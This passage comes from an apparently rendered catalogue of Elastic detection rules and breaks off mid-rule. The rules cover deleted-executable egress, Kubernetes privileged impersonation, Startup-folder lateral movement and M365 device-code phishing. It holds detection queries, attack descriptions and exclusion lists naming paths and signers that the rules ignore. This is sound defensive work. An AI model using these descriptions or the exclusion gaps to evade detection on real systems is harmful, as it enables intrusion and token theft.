 not (process.parent.code_signature.subject_name in ("AMARYLLIS SIGNAL LTD", "BLUE TAKIN LTD", "METROPOLITAN DESIGN LLC") and process.parent.code_signature.trusted == true)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
process.argsin
  • --profile-directory="Default"
  • --profile-directory=Default
field:"process.args" kind:in
process.namewildcard
  • chrome.exe corpus 16 (elastic 14, splunk 2)
field:"process_basename" kind:wildcard value:"chrome.exe"
process.parent.executableis_not_null
  • (no value, null check)
field:"ParentImage" kind:is_not_null

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.argseq--test-type=webdriverexcludes:process.args field:"process.args" value:"--test-type=webdriver"
process.parent.nameeqchromedriver.exeexcludes:process.parent.name field:"process.parent.name" value:"chromedriver.exe"
process.argseqhttps://google.comexcludes:process.args field:"process.args" value:"https://google.com"
process.parent.nameeqgralvior-desktop.exeexcludes:process.parent.name field:"process.parent.name" value:"gralvior-desktop.exe"
process.argseq--profile-directory=Defaultexcludes:process.args field:"process.args" value:"--profile-directory=Default"
process.parent.argswildcard*\Desktop\*.bat excludes:process.parent.args field:"process.parent.args" value:"*\Desktop\*.bat "
process.parent.nameeqcmd.exeexcludes:process.parent.name field:"process.parent.name" value:"cmd.exe"
process.parent.argseqC:\windows\System32\SHELL32.dll,RunAsNewUser_RunDLLexcludes:process.parent.args field:"process.parent.args" value:"C:\windows\System32\SHELL32.dll,RunAsNewUser_RunDLL"
process.parent.nameeqrundll32.exeexcludes:process.parent.name field:"process.parent.name" value:"rundll32.exe"
process.parent.code_signature.subject_nameinAMARYLLIS SIGNAL LTD, BLUE TAKIN LTD, METROPOLITAN DESIGN LLCexcludes:process.parent.code_signature.subject_name field:"process.parent.code_signature.subject_name" value:"AMARYLLIS SIGNAL LTD" field:"process.parent.code_signature.subject_name" value:"BLUE TAKIN LTD" field:"process.parent.code_signature.subject_name" value:"METROPOLITAN DESIGN LLC"
process.parent.code_signature.trustedeqtrueexcludes:process.parent.code_signature.trusted field:"process.parent.code_signature.trusted" value:"true"
process.parent.code_signature.subject_nameinFactSet Research Systems Inc., Google LLC, LEGENDARY SOFTWARE LLC, PRIDEWAY ENTERPRISES LTD, Sound Research Corporation, UiPath, Inc.excludes:process.parent.code_signature.subject_name
process.parent.executableinC:\Program Files (x86)\Google\Chrome\Application\chrome_proxy.exe, C:\Windows\System32\RuntimeBroker.exe, C:\Windows\System32\SECOCL64.exe, C:\Windows\System32\rdpinit.exe, C:\Windows\System32\sihost.exe, c:\Program Files (x86)\google\chrome\application\chrome.exe, c:\program files\google\chrome\application\chrome.exe, c:\program files\google\chrome\application\chrome_proxy.exe, c:\windows\explorer.exeexcludes:process.parent.executable
process.parent.executablewildcardC:\Windows\System32\DriverStore\FileRepository\seapo64.inf_*\SECOCL64.exe, C:\Program Files\OutSystems\Service Studio ??\Service Studio\ServiceStudio.exe, C:\Windows\System32\DriverStore\FileRepository\snapo64.inf_amd64_*\SNAPOS64.exe, C:\Program Files\WindowsApps\*.exeexcludes:process.parent.executable

Egress Network Connection from Deleted Executable by Root

#
Source
github.com/elastic/protections-artifacts

This rule detects network connections initiated by a process that has been deleted from the filesystem. This behavior may indicate an attempt to evade detection by removing the malicious executable after execution.

MITRE ATT&CK Coverage

Rule Body

[rule]
description = """
This rule detects network connections initiated by a process that has been deleted from the filesystem. This behavior
may indicate an attempt to evade detection by removing the malicious executable after execution.
"""
id = "49ab63a4-ed52-49ac-855b-c298b38b0cb9"
license = "Elastic License v2"
name = "Egress Network Connection from Deleted Executable by Root"
os_list = ["linux"]
version = "1.0.21"

query = '''
network where event.type == "start" and event.action == "connection_attempted" and process.executable like "* (deleted)" and 
user.id == 0 and
not (
  destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
    destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
    "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
    "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
    "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
    "FF00::/8"
  ) or
  process.executable like~ (
    "/usr/bin/*", "/bin/*", "/opt/*", "/home/*", "/usr/share/*", "/usr/lib/*", "/usr/libexec/*", "/run/k3s/*",
    "/var/lib/waagent/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", "/usr/local/lib/*",
    "/usr/lib64/*", "/var/tmp/go-build*", "/app/extra/slack*", "/projects/hash-manager/dist/*/hash-manager*",
    "/nextcloud/custom_apps/notify_push/bin/x86_64/notify_push*", "/usr/local/lad/bin/mdsd*",
    "/run/containerd/io.containerd.runtime.v2.task/k8s.io/*/longhorn*", "/tmp/*/bin/kilo*",
    "/root/.antigravity-server/bin/*/extensions/antigravity/bin/language_server_linux_x64*",
    "/root/.vscode-server/code-*", "/root/.opencode/bin/opencode*",
    "/root/.local/share/claude/versions/*", "/home/*/.local/share/claude/versions/*"
  ) or
  process.name in ("dockerd", "teleport", "zed-editor", "datacollector", "exe") or
  process.executable like "*/node_modules/@anthropic-ai/*claude-code*/bin/claude.exe*"
)
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1211"
name = "Exploitation for Defense Evasion"
reference = "https://attack.mitre.org/techniques/T1211/"

[[threat.technique]]
id = "T1564"
name = "Hide Artifacts"
reference = "https://attack.mitre.org/techniques/T1564/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1071"
name = "Application Layer Protocol"
reference = "https://attack.mitre.org/techniques/T1071/"


[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[internal]
min_endpoint_version = "7.15.0"

Stages and Predicates

Stage 1: network

network where event.type == "start" and event.action == "connection_attempted" and process.executable like "* (deleted)" and 
user.id == 0 and
not (
  destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
    destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
    "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
    "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
    "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
    "FF00::/8"
  ) or
  process.executable like~ (
    "/usr/bin/*", "/bin/*", "/opt/*", "/home/*", "/usr/share/*", "/usr/lib/*", "/usr/libexec/*", "/run/k3s/*",
    "/var/lib/waagent/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", "/usr/local/lib/*",
    "/usr/lib64/*", "/var/tmp/go-build*", "/app/extra/slack*", "/projects/hash-manager/dist/*/hash-manager*",
    "/nextcloud/custom_apps/notify_push/bin/x86_64/notify_push*", "/usr/local/lad/bin/mdsd*",
    "/run/containerd/io.containerd.runtime.v2.task/k8s.io/*/longhorn*", "/tmp/*/bin/kilo*",
    "/root/.antigravity-server/bin/*/extensions/antigravity/bin/language_server_linux_x64*",
    "/root/.vscode-server/code-*", "/root/.opencode/bin/opencode*",
    "/root/.local/share/claude/versions/*", "/home/*/.local/share/claude/versions/*"
  ) or
  process.name in ("dockerd", "teleport", "zed-editor", "datacollector", "exe") or
  process.executable like "*/node_modules/@anthropic-ai/*claude-code*/bin/claude.exe*"
)

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
destination.ipcidr_match10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.0.0.0/24, 192.0.0.0/29, 192.0.0.8/32, 192.0.0.9/32, 192.0.0.10/32, 192.0.0.170/32, 192.0.0.171/32, 192.0.2.0/24, 192.31.196.0/24, 192.52.193.0/24, 192.168.0.0/16, 192.88.99.0/24, 224.0.0.0/4, 100.64.0.0/10, 192.175.48.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 240.0.0.0/4, ::1, FE80::/10, FF00::/8excludes:destination.ip
destination.ipeq0.0.0.0excludes:destination.ip field:"destination.ip" value:"0.0.0.0"
destination.ipis_null(no value, null check)excludes:destination.ip
process.executablewildcard*/node_modules/@anthropic-ai/*claude-code*/bin/claude.exe*excludes:process.executable field:"process.executable" value:"*/node_modules/@anthropic-ai/*claude-code*/bin/claude.exe*"
process.executablewildcard/usr/bin/*, /bin/*, /opt/*, /home/*, /usr/share/*, /usr/lib/*, /usr/libexec/*, /run/k3s/*, /var/lib/waagent/*, /usr/local/bin/*, /sbin/*, /usr/sbin/*, /usr/local/sbin/*, /usr/local/lib/*, /usr/lib64/*, /var/tmp/go-build*, /app/extra/slack*, /projects/hash-manager/dist/*/hash-manager*, /nextcloud/custom_apps/notify_push/bin/x86_64/notify_push*, /usr/local/lad/bin/mdsd*, /run/containerd/io.containerd.runtime.v2.task/k8s.io/*/longhorn*, /tmp/*/bin/kilo*, /root/.antigravity-server/bin/*/extensions/antigravity/bin/language_server_linux_x64*, /root/.vscode-server/code-*, /root/.opencode/bin/opencode*, /root/.local/share/claude/versions/*, /home/*/.local/share/claude/versions/*excludes:process.executable
process.nameindatacollector, dockerd, exe, teleport, zed-editorexcludes:process.name

Kubernetes API Request Impersonating Privileged Identity

#
Status
production
Severity
high
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Detects Kubernetes API requests where a user is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a member of the system:masters group. These identities have broad cluster-wide permissions including unrestricted access to all secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC policies. An attacker impersonating system:masters gains full cluster-admin equivalent access, while impersonating system:kube-controller-manager grants access to every secret in every namespace and the ability to mint service account tokens for lateral movement.

Known False Positives

  • Break-glass admin tooling, security scanners, or approved controllers that legitimately use impersonation with privileged targets may match if not covered by exclusions. Map expected callers and expand `not user.name` filters as needed for your environment.

MITRE ATT&CK Coverage

TacticTechniques
Privilege Escalation
Stealth

Rule Body

[metadata]
creation_date = "2026/05/05"
integration = ["kubernetes"]
maturity = "production"
updated_date = "2026/05/05"

[rule]
author = ["Elastic"]
description = """
Detects Kubernetes API requests where a user is impersonating a privileged cluster identity such as
system:kube-controller-manager, system:admin, system:anonymous, or a member of the system:masters group. These
identities have broad cluster-wide permissions including unrestricted access to all secrets, the ability to create
tokens for any service account, schedule pods on any node, and modify RBAC policies. An attacker impersonating
system:masters gains full cluster-admin equivalent access, while impersonating system:kube-controller-manager
grants access to every secret in every namespace and the ability to mint service account tokens for lateral
movement.
"""
false_positives = [
    """
    Break-glass admin tooling, security scanners, or approved controllers that legitimately use impersonation with
    privileged targets may match if not covered by exclusions. Map expected callers and expand `not user.name`
    filters as needed for your environment.
    """,
]
from = "now-9m"
index = ["logs-kubernetes.audit_logs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Kubernetes API Request Impersonating Privileged Identity"
note = """## Triage and analysis

### Investigating Kubernetes API Request Impersonating Privileged Identity

Compare the real actor (user.name, groups, source.ip, user_agent.original) with impersonated
fields (kubernetes.audit.impersonatedUser.username, kubernetes.audit.impersonatedUser.groups). Confirm whether
impersonation is authorized for that principal and target identity.

### Possible investigation steps

- Review kubernetes.audit.requestURI, kubernetes.audit.verb, and kubernetes.audit.objectRef for the scope of the
  operation performed while impersonating.
- Determine whether the real user or service account should have impersonate rights against the impersonated user
  or group; inspect RBAC impersonate verb bindings and any recent changes.
- Correlate with adjacent audit activity (secrets, tokens, RBAC writes, CSR approval) from the same source identity.
- Hunt for repeated impersonation across namespaces or rapid pivoting after the event.

### Response and remediation

- Revoke or tighten impersonate permissions for unexpected identities; rotate credentials for any account that may
  have abused impersonation.
- If unauthorized, treat as cluster-wide credential risk: review secrets exposure, issued tokens, and RBAC drift;
  engage incident response per policy.
"""
references = [
    "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation",
]
risk_score = 73
rule_id = "abb7bc31-b865-4318-80a9-b9ee4edd57b6"
severity = "high"
tags = [
    "Data Source: Kubernetes",
    "Domain: Kubernetes",
    "Use Case: Threat Detection",
    "Tactic: Privilege Escalation",
    "Tactic: Defense Evasion",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset:kubernetes.audit_logs and 
kubernetes.audit.impersonatedUser.username:(* and not ("eks-event-service:event-controller" or eks\:*)) and 
kubernetes.audit.annotations.authorization_k8s_io/decision:allow and 
kubernetes.audit.verb:(create or delete or get or list or patch or update) and 
(kubernetes.audit.impersonatedUser.username:(admin or cluster-admin or kubernetes-admin or "system:admin" or "system:anonymous" or "system:apiserver" or "system:kube-controller-manager" or "system:kube-proxy" or "system:kube-scheduler" or "system:volume-scheduler" or system\:node\:* or system\:serviceaccount\:kube-system\:*) or kubernetes.audit.impersonatedUser.groups:(cluster-admin or "system:cluster-admins" or "system:masters")) and 
not user.name:(acsService or aksService or masterclient or nodeclient or "system:kube-controller-manager" or "system:kube-scheduler" or arn\:aws\:iam\:*\:role/aws-service-role* or arn\:aws\:sts\:*\:assumed-role/AWSServiceRoleForAmazonEKS* or arn\:aws\:sts\:*\:assumed-role/AWSServiceRoleForAmazonEKSNodegroup* or eks\:* or system\:node\:* or system\:serviceaccount\:kube-system\:*)
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1134"
name = "Access Token Manipulation"
reference = "https://attack.mitre.org/techniques/T1134/"

[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1134"
name = "Access Token Manipulation"
reference = "https://attack.mitre.org/techniques/T1134/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

Stages and Predicates

Stage 1: query

data_stream.dataset:kubernetes.audit_logs and 
kubernetes.audit.impersonatedUser.username:(* and not ("eks-event-service:event-controller" or eks\:*)) and 
kubernetes.audit.annotations.authorization_k8s_io/decision:allow and 
kubernetes.audit.verb:(create or delete or get or list or patch or update) and 
(kubernetes.audit.impersonatedUser.username:(admin or cluster-admin or kubernetes-admin or "system:admin" or "system:anonymous" or "system:apiserver" or "system:kube-controller-manager" or "system:kube-proxy" or "system:kube-scheduler" or "system:volume-scheduler" or system\:node\:* or system\:serviceaccount\:kube-system\:*) or kubernetes.audit.impersonatedUser.groups:(cluster-admin or "system:cluster-admins" or "system:masters")) and 
not user.name:(acsService or aksService or masterclient or nodeclient or "system:kube-controller-manager" or "system:kube-scheduler" or arn\:aws\:iam\:*\:role/aws-service-role* or arn\:aws\:sts\:*\:assumed-role/AWSServiceRoleForAmazonEKS* or arn\:aws\:sts\:*\:assumed-role/AWSServiceRoleForAmazonEKSNodegroup* or eks\:* or system\:node\:* or system\:serviceaccount\:kube-system\:*)

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
kubernetes.audit.impersonatedUser.usernameeqeks-event-service:event-controllerexcludes:kubernetes.audit.impersonatedUser.username field:"kubernetes.audit.impersonatedUser.username" value:"eks-event-service:event-controller"
kubernetes.audit.impersonatedUser.usernamestarts_witheks:excludes:kubernetes.audit.impersonatedUser.username field:"kubernetes.audit.impersonatedUser.username" value:"eks:"
user.nameeqacsServiceexcludes:user.name field:"user.name" value:"acsService"
user.nameeqaksServiceexcludes:user.name field:"user.name" value:"aksService"
user.nameeqmasterclientexcludes:user.name field:"user.name" value:"masterclient"
user.nameeqnodeclientexcludes:user.name field:"user.name" value:"nodeclient"
user.nameeqsystem:kube-controller-managerexcludes:user.name field:"user.name" value:"system:kube-controller-manager"
user.nameeqsystem:kube-schedulerexcludes:user.name field:"user.name" value:"system:kube-scheduler"
user.namestarts_witheks:excludes:user.name field:"user.name" value:"eks:"
user.namestarts_withsystem:node:excludes:user.name field:"user.name" value:"system:node:"
user.namestarts_withsystem:serviceaccount:kube-system:excludes:user.name field:"user.name" value:"system:serviceaccount:kube-system:"
user.namewildcardarn:aws:iam:*:role/aws-service-role*excludes:user.name field:"user.name" value:"arn:aws:iam:*:role/aws-service-role*"
user.namewildcardarn:aws:sts:*:assumed-role/AWSServiceRoleForAmazonEKS*excludes:user.name field:"user.name" value:"arn:aws:sts:*:assumed-role/AWSServiceRoleForAmazonEKS*"
user.namewildcardarn:aws:sts:*:assumed-role/AWSServiceRoleForAmazonEKSNodegroup*excludes:user.name field:"user.name" value:"arn:aws:sts:*:assumed-role/AWSServiceRoleForAmazonEKSNodegroup*"

Lateral Movement via Startup Folder

#
Status
production
Severity
high
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies suspicious file creations in the startup folder of a remote system. An adversary could abuse this to move laterally by dropping a malicious script or executable that will be executed after a reboot or user logon.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2020/10/19"
integration = ["endpoint", "windows", "m365_defender", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/05/03"

[rule]
author = ["Elastic"]
description = """
Identifies suspicious file creations in the startup folder of a remote system. An adversary could abuse this to move
laterally by dropping a malicious script or executable that will be executed after a reboot or user logon.
"""
from = "now-9m"
index = [
    "logs-endpoint.events.file-*",
    "winlogbeat-*",
    "logs-windows.sysmon_operational-*",
    "endgame-*",
    "logs-m365_defender.event-*",
    "logs-sentinel_one_cloud_funnel.*",
]
language = "eql"
license = "Elastic License v2"
name = "Lateral Movement via Startup Folder"
references = [
    "https://www.mdsec.co.uk/2017/06/rdpinception/",
    "https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language",
]
risk_score = 73
rule_id = "25224a80-5a4a-4b8a-991e-6ab390465c4f"
severity = "high"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Lateral Movement",
    "Data Source: Elastic Endgame",
    "Data Source: Elastic Defend",
    "Data Source: Sysmon",
    "Data Source: Microsoft Defender XDR",
    "Data Source: SentinelOne",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
file where host.os.type == "windows" and event.type in ("creation", "change") and

 /* via RDP TSClient mounted share or SMB */
  (process.name : "mstsc.exe" or process.pid == 4) and

   file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*",
                "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*")
'''

note = """## Triage and analysis

### Investigating Lateral Movement via Startup Folder

#### Possible investigation steps

- What remote Startup-folder write did the alert capture?
  - Focus: `file.path`, `file.extension`, `process.name`, `process.pid`, and `process.executable`.
  - Implication: escalate when a remote writer plants a scriptable or executable item, especially in ProgramData Startup; lower suspicion only when the Startup item, writer, user, and host identify one bounded deployment or support component.
- What does the planted Startup item contain or point to?
  - Focus: `file.name`, `file.size`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`.
  - Implication: escalate on shortcuts, scripts, archives, executables, renamed payloads, or content/header mismatches that could run at logon; lower suspicion when a bounded installer or support shortcut has content and provenance matching the same named tool.
- Does writer and user context identify the same support or deployment component?
  - Focus: `user.id`, `user.domain`, `process.command_line`, and `process.parent.name`.
  - Hint: for PID 4 SMB writes, recover surrounding SMB connection events to identify `source.ip`; for "mstsc.exe" writes, validate the RDP drive-redirection source through Terminal Services or RDP session logs when available. Missing SMB/RDP telemetry is unresolved, not benign. $investigate_0
  - Implication: escalate when the account, host, parent, or command line does not explain remote RDP/SMB Startup persistence; lower suspicion when command line, parent, and user-host pairing point to the same bounded component.
- Did the same Startup directory show staging, renames, or cleanup?
  - Focus: file events in the same Startup directory on `host.id`, especially `file.directory`, `file.path`, `file.name`, and `file.Ext.original.path`. $investigate_1
  - Hint: use the directory view to separate one bounded write from broader Startup-folder staging.
  - Implication: escalate on multiple writes, renames, mixed payload types, or cleanup artifacts; a single stable artifact narrows scope but does not clear the alert until execution and workflow fit are resolved.
- Has the Startup item executed on the host?
  - Focus: process starts on `host.id` where `process.executable` matches the written `file.path`, then review `process.command_line` and `user.id`. $investigate_2
  - Hint: for shortcuts or scripts, exact path matching may miss the launched target; inspect the artifact and search same-host process starts for the referenced interpreter or target path.
  - Implication: escalate when the item or referenced target executes, especially under a different user than the writer; no execution yet lowers immediacy, but clears only when writer, artifact, and directory evidence already prove a benign tool.
- If local evidence is suspicious or incomplete, are there related same-host alerts?
  - Focus: related alerts for the same `host.id` involving remote services, credentials, execution, discovery, or persistence. $investigate_3
  - Implication: related alerts broaden the case from one Startup write to an intrusion path; no related alerts or an unavailable pivot narrows scope only and cannot close contradictory artifact, writer, or execution evidence.
- Escalate for remotely planted Startup persistence or later execution; close only when writer mechanism, path, artifact, directory, execution, and alert pivots bind to one bounded benign component without contradiction; preserve artifacts and escalate when evidence is mixed or incomplete.

### False positive analysis

- Software deployment, break-fix support, enterprise agents, or line-of-business applications can place bounded installers, shortcuts, support utilities, or stable per-user/all-users components in Startup through RDP or SMB. Confirm that `file.path`, `file.name`, `file.extension`, writer process or command line, `user.id`, `host.id`, directory view, and later direct or shortcut-target execution all identify the same bounded component, with no extra staging files or suspicious same-host alerts. Do not close on a role, ticket, or partial field match when current telemetry does not bind writer, artifact, and execution behavior together.
- Build exceptions from the minimum confirmed workflow pattern: the specific `file.path`, writer `process.name` or `process.pid`, `user.id`, `host.id`, and bounded later-execution or quiet-directory evidence that distinguishes the benign case. Avoid exceptions on the Startup folder path alone, on "mstsc.exe" alone, or on PID 4 alone.

### Response and remediation

- If confirmed benign, reverse temporary containment and document the exact `file.path`, writer `process.name` or `process.pid`, `user.id`, `host.id`, and quiet-directory or later-execution evidence that established the bounded workflow. Create an exception only when that same evidence set distinguishes the benign workflow from remote Startup-folder abuse.
- If suspicious but unconfirmed, preserve a copy of the written Startup item, the Startup directory listing, and case exports for the relevant file events, writer process metadata, later execution records, user-host identifiers, and related-alert context before containment.
- Apply reversible containment before destructive action: quarantine the Startup item after preserving it, restrict further RDP or SMB administrative access to the host, or heighten monitoring on the affected `host.id`. Isolate the host only when later execution or related alerts show broader compromise and the host role can tolerate disruption.
- If confirmed malicious, record any later-executed process identifiers and command lines, preserve the Startup item and same-directory artifacts, then isolate the host when feasible, terminate malicious execution, and remove the Startup item, shortcuts, scripts, and staging artifacts identified during the investigation.
- Before deleting artifacts or resetting credentials, scope other hosts and accounts for the same `file.name`, `file.path`, writer `process.command_line`, or later `process.executable` pattern. Reset or reissue credentials only when related alerts or later execution indicate likely account misuse.
- Post-incident hardening: restrict unnecessary RDP drive redirection, tighten SMB administrative write access, monitor Startup folder changes on remote-access targets, and retain the file/process telemetry needed to distinguish repeat deployment workflows from repeat abuse."""

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 11 - File Create](https://ela.st/sysmon-event-11-setup)
"""

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "event.type",
    "host.id",
    "user.id",
    "file.path",
    "file.directory",
    "file.name",
    "file.extension",
    "process.entity_id",
    "process.pid",
    "process.name",
    "process.executable",
    "process.command_line",
    "process.parent.name",
]

[transform]

[[transform.investigate]]
label = "SMB connection events on the host"
description = ""
providers = [
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "network", valueType = "string" },
    { excluded = false, field = "event.action", queryType = "phrase", value = "connection_accepted", valueType = "string" },
    { excluded = false, field = "destination.port", queryType = "phrase", value = "445", valueType = "string" },
    { excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[transform.investigate]]
label = "File events in the same Startup directory"
description = ""
providers = [
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "file", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "file.directory", queryType = "phrase", value = "{{file.directory}}", valueType = "string" }
  ]
]
relativeFrom = "now-1h"
relativeTo = "now"

[[transform.investigate]]
label = "Process events where the Startup item later executed"
description = ""
providers = [
  [
    { excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
    { excluded = false, field = "process.executable", queryType = "phrase", value = "{{file.path}}", valueType = "string" }
  ]
]
relativeFrom = "now-24h/h"
relativeTo = "now"

[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
  [
    { excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
    { excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
  ]
]
relativeFrom = "now-48h/h"
relativeTo = "now"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1021"
name = "Remote Services"
reference = "https://attack.mitre.org/techniques/T1021/"

[[rule.threat.technique.subtechnique]]
id = "T1021.001"
name = "Remote Desktop Protocol"
reference = "https://attack.mitre.org/techniques/T1021/001/"

[[rule.threat.technique.subtechnique]]
id = "T1021.002"
name = "SMB/Windows Admin Shares"
reference = "https://attack.mitre.org/techniques/T1021/002/"

[[rule.threat.technique]]
id = "T1570"
name = "Lateral Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1570/"

[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1547"
name = "Boot or Logon Autostart Execution"
reference = "https://attack.mitre.org/techniques/T1547/"

[[rule.threat.technique.subtechnique]]
id = "T1547.001"
name = "Registry Run Keys / Startup Folder"
reference = "https://attack.mitre.org/techniques/T1547/001/"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

Stages and Predicates

Stage 1: file

file where host.os.type == "windows" and event.type in ("creation", "change") and
  (process.name : "mstsc.exe" or process.pid == 4) and
   file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*",
                "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.typein
  • change corpus 18 (elastic 18)
  • creation corpus 17 (elastic 17)
field:"event.type" kind:in
file.pathwildcard
  • ?:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\* corpus 12 (elastic 12)
  • ?:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\* corpus 13 (elastic 13)
field:"TargetFilename" kind:wildcard
process.namewildcard
  • mstsc.exe corpus 8 (elastic 5, splunk 2, kusto 1)
field:"process_basename" kind:wildcard value:"mstsc.exe"
process.pideq
  • 4 transforms: number corpus 17 (elastic 17)
field:"process_id" kind:eq value:"4"

M365 Identity Device Code Grant with Unusual User and ASN

#
Status
production
Severity
high
Time window
9m
Group by
o365.audit.UserId, source.as.number
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies a Microsoft 365 OAuth device code grant ("Cmsi:Cmsi") with application Microsoft Authentication Broker ("29d9ed98-a469-4536-ade2-f981bc1d605e") for Microsoft Graph from a source ASN not previously observed for that user in a historical window. Phishing kits leveraging device code phishing complete the full login (password and MFA) at the genuine Microsoft endpoint and harvest the resulting token by polling, so MFA does not stop them and the authorization commonly originates from attacker-controlled residential proxy or hosting infrastructure rather than the user's normal network.

Known False Positives

  • A user authenticating via the device code flow for the first time from a new but legitimate network, such as travel, a new home or office ISP, a corporate VPN, or a mobile carrier. Device code authentication is expected when enrolling or signing in on input-constrained devices (smart TVs, kiosks, IoT, conference room devices) and for some CLI or headless developer workflows. Review the source ASN, geolocation, and the user's prior device code history to confirm whether the origin is plausible before escalating.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2026/06/01"
integration = ["o365"]
maturity = "production"
updated_date = "2026/06/01"

[rule]
author = ["Elastic"]
description = """
Identifies a Microsoft 365 OAuth device code grant ("Cmsi:Cmsi") with application Microsoft Authentication Broker
("29d9ed98-a469-4536-ade2-f981bc1d605e") for Microsoft Graph from a source ASN not previously observed for that user in
a historical window. Phishing kits leveraging device code phishing complete the full login (password and MFA) at the
genuine Microsoft endpoint and harvest the resulting token by polling, so MFA does not stop them and the authorization
commonly originates from attacker-controlled residential proxy or hosting infrastructure rather than the user's normal
network.
"""
false_positives = [
    """
    A user authenticating via the device code flow for the first time from a new but legitimate network, such as travel,
